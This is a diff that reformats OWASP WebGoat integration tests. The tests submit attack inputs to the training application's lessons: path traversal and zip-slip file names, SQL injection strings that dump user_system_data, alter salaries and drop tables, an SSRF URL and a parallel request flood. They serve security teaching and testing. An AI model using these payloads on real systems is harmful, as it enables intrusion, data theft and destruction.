+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
 
 class PathTraversalIT extends IntegrationTest {
 
-    @TempDir
+  @TempDir Path tempDir;
-    Path tempDir;
 
-    private File fileToUpload = null;
+  private File fileToUpload = null;
 
-    @BeforeEach
+  @BeforeEach
-    @SneakyThrows
+  @SneakyThrows
-    public void init() {
+  public void init() {
-        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
-        startLesson("PathTraversal");
+    startLesson("PathTraversal");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testPathTraversal() {
+    return Arrays.asList(
+        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
+  }
+
+  private void assignment1() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullName", "../John Doe")
+            .post(url("PathTraversal/profile-upload"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment2() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullNameFix", "..././John Doe")
+            .post(url("PathTraversal/profile-upload-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment3() throws IOException {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart(
+                "uploadedFileRemoveUserInput",
+                "../test.jpg",
+                Files.readAllBytes(fileToUpload.toPath()))
+            .post(url("PathTraversal/profile-upload-remove-user-input"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment4() throws IOException {
+    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+    RestAssured.given()
+        .urlEncodingEnabled(false)
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url(uri))
+        .then()
+        .statusCode(200)
+        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+    checkAssignment(
+        url("PathTraversal/random"),
+        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
+        true);
+  }
+
+  private void assignment5() throws IOException {
+    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+    webGoatHome =
+        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
+
+    var webGoatDirectory = new File(webGoatHome);
+    var zipFile = new File(tempDir.toFile(), "upload.zip");
+    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+      zos.putNextEntry(e);
+      zos.write("test".getBytes(StandardCharsets.UTF_8));
     }
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+            .post(url("PathTraversal/zip-slip"))
+            .then()
+            .log()
+            .all()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-    @TestFactory
+  @AfterEach
-    Iterable<DynamicTest> testPathTraversal() {
+  void shutdown() {
-        return Arrays.asList(
+    // this will run only once after the list of dynamic tests has run, this is to test if the
-                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+    // lesson is marked complete
-                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+    checkResults("/PathTraversal");
-                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+  }
-                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-                dynamicTest("assignment 5 - zip slip", () -> assignment5())
-        );
-    }
-
-    private void assignment1() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullName", "../John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment2() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullNameFix", "..././John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment3() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment4() throws IOException {
-        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-        RestAssured.given().urlEncodingEnabled(false)
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(uri))
-                .then()
-                .statusCode(200)
-                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
-
-        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
-                Sha512DigestUtils.shaHex(this.getUser())), true);
-    }
-
-    private void assignment5() throws IOException {
-        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
-
-        var webGoatDirectory = new File(webGoatHome);
-        var zipFile = new File(tempDir.toFile(), "upload.zip");
-        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
-            zos.putNextEntry(e);
-            zos.write("test".getBytes(StandardCharsets.UTF_8));
-        }
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-                        .post(url("/WebGoat/PathTraversal/zip-slip"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    @AfterEach
-    void shutdown() {
-        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-        checkResults("/PathTraversal");
-    }
 }

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -2,10 +2,6 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.response.Response;
-
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
@@ -14,40 +10,48 @@ import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
 
 public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void runTests() throws InterruptedException {
+  public void runTests() throws InterruptedException {
-    	int NUMBER_OF_CALLS = 40;
+    int NUMBER_OF_CALLS = 40;
-    	int NUMBER_OF_PARALLEL_THREADS = 5;
+    int NUMBER_OF_PARALLEL_THREADS = 5;
-        startLesson("Challenge1");
+    startLesson("Challenge1");
-
-        Callable<Response> call = () -> {
-        		//System.out.println("thread "+Thread.currentThread().getName());
-                return RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(Map.of("flag", "test"))
-                        .post(url("/challenge/flag/"));
 
+    Callable<Response> call =
+        () -> {
+          // System.out.println("thread "+Thread.currentThread().getName());
+          return RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .cookie("JSESSIONID", getWebGoatCookie())
+              .formParams(Map.of("flag", "test"))
+              .post(url("challenge/flag"));
         };
-        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
+    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
-        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    List<? extends Callable<Response>> flagCalls =
-        var responses = executorService.invokeAll(flagCalls);
+        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    var responses = executorService.invokeAll(flagCalls);
 
-        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
+    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
-        long countStatusCode500 = responses.stream().filter(r -> {
+    long countStatusCode500 =
-            try {
+        responses.stream()
-            	//System.err.println(r.get().getStatusCode());
+            .filter(
-                return r.get().getStatusCode() != 200;
+                r -> {
-            } catch (InterruptedException | ExecutionException e) {
+                  try {
-            	//System.err.println(e);
+                    // System.err.println(r.get().getStatusCode());
-                throw new IllegalStateException(e);
+                    return r.get().getStatusCode() != 200;
-            }
+                  } catch (InterruptedException | ExecutionException e) {
-        }).count();
+                    // System.err.println(e);
-        System.err.println("counted status 500: "+countStatusCode500);
+                    throw new IllegalStateException(e);
-        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
+                  }
-    }
+                })
+            .count();
+    System.err.println("counted status 500: " + countStatusCode500);
+    Assertions.assertThat(countStatusCode500)
+        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
+  }
 }

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -3,28 +3,24 @@ package org.owasp.webgoat;
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SSRFIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void runTests() throws IOException {
+  public void runTests() throws IOException {
-        startLesson("SSRF");
+    startLesson("SSRF");
 
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-        params.put("url", "images/jerry.png");
+    params.put("url", "images/jerry.png");
 
-        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
+    checkAssignment(url("SSRF/task1"), params, true);
-        params.clear();
+    params.clear();
-        params.put("url", "http://ifconfig.pro");
+    params.put("url", "http://ifconfig.pro");
-        
-        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
-        
-        checkResults("/SSRF/");
-    
-    }
 
+    checkAssignment(url("SSRF/task2"), params, true);
 
+    checkResults("/SSRF/");
+  }
 }

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -24,24 +24,22 @@
 package org.owasp.webgoat;
 
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 /**
- *
  * @author Angel Olle Blazquez
- *
  */
-
 class SessionManagementIT extends IntegrationTest {
 
-    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
+  private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
 
+  @Test
+  void hijackSessionTest() {
+    startLesson("HijackSession");
 
-    @Test
+    checkAssignment(
-    void hijackSessionTest() {
+        url(HIJACK_LOGIN_CONTEXT_PATH),
-        startLesson("HijackSession");
+        Map.of("username", "webgoat", "password", "webgoat"),
-        
+        false);
-        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
+  }
-    }
 }

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -2,48 +2,60 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void runTests() {
+  public void runTests() {
-        startLesson("SqlInjectionAdvanced");
+    startLesson("SqlInjectionAdvanced");
 
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-        params.put("username_reg", "tom' AND substring(password,1,1)='t");
+    params.put("username_reg", "tom' AND substring(password,1,1)='t");
-        params.put("password_reg", "password");
+    params.put("password_reg", "password");
-        params.put("email_reg", "someone@microsoft.com");
+    params.put("email_reg", "someone@microsoft.com");
-        params.put("confirm_password", "password");
+    params.put("confirm_password", "password");
-        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
+    checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("username_login", "tom");
+    params.put("username_login", "tom");
-        params.put("password_login", "thisisasecretfortomonly");
+    params.put("password_login", "thisisasecretfortomonly");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
+    params.put(
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+        "userid_6a",
+        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+            + " user_system_data --");
+    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("userid_6b", "passW0rD");
+    params.put("userid_6b", "passW0rD");
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
+    checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
+    params.put(
-        params.put("question_1_solution", "Solution 3: ?");
+        "question_0_solution",
-        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
+        "Solution 4: A statement has got values instead of a prepared statement");
-        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
+    params.put("question_1_solution", "Solution 3: ?");
-        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+    params.put(
-        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
+        "question_2_solution",
+        "Solution 2: Prepared statements are compiled once by the database management system"
+            + " waiting for input and are pre-compiled this way.");
+    params.put(
+        "question_3_solution",
+        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+            + " resulting in a seperation of code and data.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+    checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true);
 
-        checkResults("/SqlInjectionAdvanced/");
+    checkResults("/SqlInjectionAdvanced/");
-    }
+  }
 }

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -2,77 +2,77 @@ package org.owasp.webgoat;
 
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
 
-    public static final String sql_2 = "select department from employees where last_name='Franco'";
+  public static final String sql_2 = "select department from employees where last_name='Franco'";
-    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
+  public static final String sql_3 =
-    public static final String sql_4_drop = "alter table employees drop column phone";
+      "update employees set department='Sales' where last_name='Barnett'";
-    public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+  public static final String sql_4_drop = "alter table employees drop column phone";
-    public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
-    public static final String sql_9_account = " ' ";
+  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
-    public static final String sql_9_operator = "or";
+  public static final String sql_9_account = " ' ";
-    public static final String sql_9_injection = "'1'='1";
+  public static final String sql_9_operator = "or";
-    public static final String sql_10_login_count = "2";
+  public static final String sql_9_injection = "'1'='1";
-    public static final String sql_10_userid = "1 or 1=1";
+  public static final String sql_10_login_count = "2";
+  public static final String sql_10_userid = "1 or 1=1";
 
-    public static final String sql_11_a = "Smith' or '1' = '1";
+  public static final String sql_11_a = "Smith' or '1' = '1";
-    public static final String sql_11_b = "3SL99A'  or '1'='1";
+  public static final String sql_11_b = "3SL99A'  or '1'='1";
 
-    public static final String sql_12_a = "Smith";
+  public static final String sql_12_a = "Smith";
-    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+  public static final String sql_12_b =
+      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
 
-    public static final String sql_13 = "%update% '; drop table access_log ; --'";
+  public static final String sql_13 = "%update% '; drop table access_log ; --'";
 
-    @Test
+  @Test
-    public void runTests() {
+  public void runTests() {
-        startLesson("SqlInjection");
+    startLesson("SqlInjection");
 
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-        params.put("query", sql_2);
+    params.put("query", sql_2);
-        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
+    checkAssignment(url("SqlInjection/attack2"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("query", sql_3);
+    params.put("query", sql_3);
-        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
+    checkAssignment(url("SqlInjection/attack3"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("query", sql_4_add);
+    params.put("query", sql_4_add);
-        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
+    checkAssignment(url("SqlInjection/attack4"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("query", sql_5);
+    params.put("query", sql_5);
-        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
+    checkAssignment(url("SqlInjection/attack5"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("operator", sql_9_operator);
+    params.put("operator", sql_9_operator);
-        params.put("account", sql_9_account);
+    params.put("account", sql_9_account);
-        params.put("injection", sql_9_injection);
+    params.put("injection", sql_9_injection);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
+    checkAssignment(url("SqlInjection/assignment5a"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("login_count", sql_10_login_count);
+    params.put("login_count", sql_10_login_count);
-        params.put("userid", sql_10_userid);
+    params.put("userid", sql_10_userid);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
+    checkAssignment(url("SqlInjection/assignment5b"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("name", sql_11_a);
+    params.put("name", sql_11_a);
-        params.put("auth_tan", sql_11_b);
+    params.put("auth_tan", sql_11_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
+    checkAssignment(url("SqlInjection/attack8"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("name", sql_12_a);
+    params.put("name", sql_12_a);
-        params.put("auth_tan", sql_12_b);
+    params.put("auth_tan", sql_12_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
+    checkAssignment(url("SqlInjection/attack9"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("action_string", sql_13);
+    params.put("action_string", sql_13);
-        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
+    checkAssignment(url("SqlInjection/attack10"), params, true);
 
-        checkResults("/SqlInjection/");
+    checkResults("/SqlInjection/");
-
+  }
-    }
 }

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -1,70 +1,85 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
 import static org.hamcrest.CoreMatchers.containsString;
 
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
 public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void runTests() {
+  public void runTests() {
-        startLesson("SqlInjectionMitigations");
+    startLesson("SqlInjectionMitigations");
 
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.clear();
-        params.put("field1", "getConnection");
+    params.put("field1", "getConnection");
-        params.put("field2", "PreparedStatement prep");
+    params.put("field2", "PreparedStatement prep");
-        params.put("field3", "prepareStatement");
+    params.put("field3", "prepareStatement");
-        params.put("field4", "?");
+    params.put("field4", "?");
-        params.put("field5", "?");
+    params.put("field5", "?");
-        params.put("field6", "prep.setString(1,\"\")");
+    params.put("field6", "prep.setString(1,\"\")");
-        params.put("field7", "prep.setString(2,\\\"\\\")");
+    params.put("field7", "prep.setString(2,\\\"\\\")");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
+    checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true);
 
-        params.put("editor", "try {\r\n" +
+    params.put(
-                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
+        "editor",
-                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
+        "try {\r\n"
-                "    prep.setString(1,\"me\");\r\n" +
+            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
-                "    prep.execute();\r\n" +
+            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
-                "    System.out.println(conn);   //should output 'null'\r\n" +
+            + " = ?\");\r\n"
-                "} catch (Exception e) {\r\n" +
+            + "    prep.setString(1,\"me\");\r\n"
-                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
+            + "    prep.execute();\r\n"
-                "}");
+            + "    System.out.println(conn);   //should output 'null'\r\n"
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
+            + "} catch (Exception e) {\r\n"
+            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
+            + "}");
+    checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+    params.put(
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
+        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidation/attack"), params, true);
 
-        params.clear();
+    params.clear();
-        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+    params.put(
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
+        "userid_sql_only_input_validation_on_keywords",
+        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
 
-        RestAssured.given()
+    RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+        .when()
-                .contentType(ContentType.JSON)
+        .relaxedHTTPSValidation()
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
+        .cookie("JSESSIONID", getWebGoatCookie())
-                .then()
+        .contentType(ContentType.JSON)
-                .statusCode(200);
+        .get(
+            url(
+                "SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+                    + " else id end)"))
+        .then()
+        .statusCode(200);
 
-        RestAssured.given()
+    RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+        .when()
-                .contentType(ContentType.JSON)
+        .relaxedHTTPSValidation()
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
+        .cookie("JSESSIONID", getWebGoatCookie())
-                .then()
+        .contentType(ContentType.JSON)
-                .statusCode(500)
+        .get(url("SqlInjectionMitigations/servers?column=unknown"))
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
+        .then()
+        .statusCode(500)
+        .body(
+            "trace",
+            containsString(
+                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
+                    + " 'out of order' order by"));
 
-        params.clear();
+    params.clear();
-        params.put("ip", "104.130.219.202");
+    params.put("ip", "104.130.219.202");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
+    checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true);
 
-        checkResults();
+    checkResults();
-    }
+  }
 }

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -2,71 +2,76 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
-import java.io.IOException;
+import io.restassured.RestAssured;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
-import io.restassured.RestAssured;
-
 public class WebWolfIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    public void runTests() throws IOException {
+  public void runTests() {
-        startLesson("WebWolfIntroduction");
+    startLesson("WebWolfIntroduction");
 
-        //Assignment 3
+    // Assignment 3
-        Map<String, Object> params = new HashMap<>();
+    Map<String, Object> params = new HashMap<>();
-        params.clear();
+    params.put("email", this.getUser() + "@webgoat.org");
-        params.put("email", this.getUser()+"@webgoat.org");
+    checkAssignment(url("WebWolf/mail/send"), params, false);
-        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
 
-        String responseBody = RestAssured.given()
+    String responseBody =
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
-        
-        String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
-        params.clear();
-        params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
-        
-        //Assignment 4
-        RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())   
-                        .queryParams(params)
-                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
-                        .then()
-                        .statusCode(200);
         RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrl("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    String uniqueCode = responseBody.replace("%20", " ");
+    uniqueCode =
+        uniqueCode.substring(
+            21 + uniqueCode.lastIndexOf("your unique code is: "),
+            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+    checkAssignment(url("WebWolf/mail"), params, true);
+
+    // Assignment 4
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .queryParams(params)
+        .get(url("WebWolf/landing/password-reset"))
+        .then()
+        .statusCode(200);
+    RestAssured.given()
         .when()
         .relaxedHTTPSValidation()
         .cookie("WEBWOLFSESSION", getWebWolfCookie())
         .queryParams(params)
-        .get(webWolfUrl("/landing"))                        
+        .get(webWolfUrl("landing"))
         .then()
         .statusCode(200);
-        responseBody = RestAssured.given()
+    responseBody =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .relaxedHTTPSValidation()
